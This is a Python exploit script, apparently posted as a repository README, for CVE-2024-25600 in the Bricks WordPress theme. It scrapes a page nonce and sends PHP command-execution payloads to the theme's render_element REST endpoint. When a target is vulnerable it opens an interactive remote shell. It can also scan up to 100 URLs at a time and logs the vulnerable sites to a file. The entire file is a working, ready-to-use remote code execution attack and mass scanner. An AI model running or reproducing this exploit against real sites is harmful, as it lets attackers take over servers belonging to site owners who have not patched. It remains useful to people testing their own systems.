README.md
Rendering markdown...
import re
import warnings
import argparse
import requests
from rich.console import Console
from alive_progress import alive_bar
from prompt_toolkit import PromptSession, HTML
from prompt_toolkit.history import InMemoryHistory
from bs4 import BeautifulSoup, MarkupResemblesLocatorWarning
from concurrent.futures import ThreadPoolExecutor, as_completed
warnings.filterwarnings("ignore", category=MarkupResemblesLocatorWarning, module="bs4")
warnings.filterwarnings(
"ignore", category=requests.packages.urllib3.exceptions.InsecureRequestWarning
)
class Code:
def __init__(self, url, payload_type, only_rce=False, verbose=True, pretty=False):
self.url = url
self.pretty = pretty
self.verbose = verbose
self.console = Console()
self.only_rce = only_rce
self.nonce = self.fetch_nonce()
self.payload_type = payload_type
def fetch_nonce(self):
try:
response = requests.get(self.url, verify=False, timeout=20)
response.raise_for_status()
soup = BeautifulSoup(response.text, "html.parser")
script_tag = soup.find("script", id="bricks-scripts-js-extra")
if script_tag:
match = re.search(r'"nonce":"([a-f0-9]+)"', script_tag.string)
if match:
return match.group(1)
except Exception:
pass
def send_request(self, postId="1", command="whoami"):
headers = {"Content-Type": "application/json"}
payload_command = f'throw new Exception(`{command}` . "END");'
base_element = {
"postId": postId,
"nonce": self.nonce,
}
query_settings = {
"useQueryEditor": True,
"queryEditor": payload_command,
}
payload_templates = {
"carousel": {
**base_element,
"element": {
"name": "carousel",
"settings": {"type": "posts", "query": query_settings},
},
},
"container": {
**base_element,
"element": {
"name": "container",
"settings": {"hasLoop": "true", "query": query_settings},
},
},
"generic": {
**base_element,
"element": "1",
"loopElement": {
"settings": {"query": query_settings},
},
},
"code": {
**base_element,
"element": {
"name": "code",
"settings": {
"executeCode": "true",
"code": f"<?php {payload_command} ?>",
},
},
},
}
json_data = payload_templates.get(self.payload_type)
if self.pretty:
endpoint = f"{self.url}/wp-json/bricks/v1/render_element"
else:
endpoint = f"{self.url}/?rest_route=/bricks/v1/render_element"
req = requests.post(
endpoint,
headers=headers,
json=json_data,
verify=False,
timeout=20,
)
return req
def process_response(self, response):
if response and response.status_code == 200:
try:
json_response = response.json()
html_content = json_response.get("data", {}).get("html", None)
except ValueError:
html_content = response.text
if html_content:
match = re.search(r"Exception: (.*?)END", html_content, re.DOTALL)
if match:
extracted_text = match.group(1).strip()
if extracted_text == "":
return True, html_content, False
else:
return True, extracted_text, True
else:
return True, html_content, False
return False, None, False
def interactive_shell(self):
session = PromptSession(history=InMemoryHistory())
self.custom_print("Shell is ready, please type your commands UwU", "!")
while True:
try:
cmd = session.prompt(HTML("<ansired><b># </b></ansired>"))
match cmd.lower():
case "exit":
break
case "clear":
self.console.clear()
case _:
response = self.send_request(command=cmd)
(
is_vuln,
response_content,
regex_success,
) = self.process_response(response)
if is_vuln and regex_success:
print(response_content, "\n")
else:
self.custom_print(
"No valid response received or target not vulnerable.",
"-",
)
except KeyboardInterrupt:
break
def check_vulnerability(self):
try:
response = self.send_request()
is_vuln, content, regex_success = self.process_response(response)
if is_vuln:
if regex_success:
self.custom_print(
f"{self.url} is vulnerable to CVE-2024-25600. Command output: {content}",
"+",
)
else:
self.custom_print(
f"{self.url} is vulnerable to CVE-2024-25600 with successful auth bypass, but RCE was not achieved.",
"!",
) if not self.only_rce else None
return True, content, regex_success
else:
self.custom_print(
f"{self.url} is not vulnerable to CVE-2024-25600.", "-"
) if self.verbose else None
return False, None, False
except Exception as e:
self.custom_print(
f"Error checking vulnerability: {e}", "-"
) if self.verbose else None
return False, None, False
def custom_print(self, message: str, header: str) -> None:
header_colors = {"+": "green", "-": "red", "!": "yellow", "*": "blue"}
self.console.print(
f"[bold {header_colors.get(header, 'white')}][{header}][/bold {header_colors.get(header, 'white')}] {message}"
)
def scan_url(url, payload_type, output_file=None, only_rce=False, pretty=False):
code_instance = Code(
url, payload_type=payload_type, only_rce=only_rce, verbose=False, pretty=pretty
)
if code_instance.nonce:
is_vuln, html_content, is_rce_success = code_instance.check_vulnerability()
if is_vuln and (not only_rce or is_rce_success):
if output_file:
with open(output_file, "a") as file:
file.write(f"{url}\n")
return True
return False
def main():
parser = argparse.ArgumentParser(
description="Check for CVE-2024-25600 vulnerability"
)
parser.add_argument(
"--url", "-u", help="URL to fetch nonce from and check vulnerability"
)
parser.add_argument(
"--list",
"-l",
help="Path to a file containing a list of URLs to check for vulnerability",
default=None,
)
parser.add_argument(
"--output",
"-o",
help="File to write vulnerable URLs to",
default=None,
)
parser.add_argument(
"--payload-type",
"-p",
choices=["carousel", "container", "generic", "code"],
default="code",
help="Type of payload to send (generic, code, carousel or container)",
)
parser.add_argument(
"--only-rce",
action="store_true",
help="Only display and record URLs where RCE is confirmed",
)
parser.add_argument(
"--pretty",
action="store_true",
help="Use pretty URLs (e.g., /wp-json/...) for requests",
)
args = parser.parse_args()
if args.list:
urls = []
with open(args.list, "r") as file:
urls = [line.strip() for line in file.readlines()]
with alive_bar(len(urls), enrich_print=False) as bar:
with ThreadPoolExecutor(max_workers=100) as executor:
future_to_url = {
executor.submit(
scan_url,
url,
args.payload_type,
args.output,
args.only_rce,
args.pretty,
): url
for url in urls
}
for future in as_completed(future_to_url):
future_to_url[future]
try:
future.result()
except Exception:
pass
finally:
bar()
elif args.url:
code_instance = Code(args.url, args.payload_type, pretty=args.pretty)
if code_instance.nonce:
code_instance.custom_print(f"Nonce found: {code_instance.nonce}", "*")
is_vuln, html_content, is_rce_success = code_instance.check_vulnerability()
if is_vuln and is_rce_success:
code_instance.interactive_shell()
elif is_vuln and not args.only_rce:
code_instance.custom_print(f"Debug:\n{html_content}", "!")
else:
code_instance.custom_print(f"No vulnerability found.", "-")
else:
code_instance.custom_print("Nonce not found.", "-")
else:
parser.print_help()
if __name__ == "__main__":
main()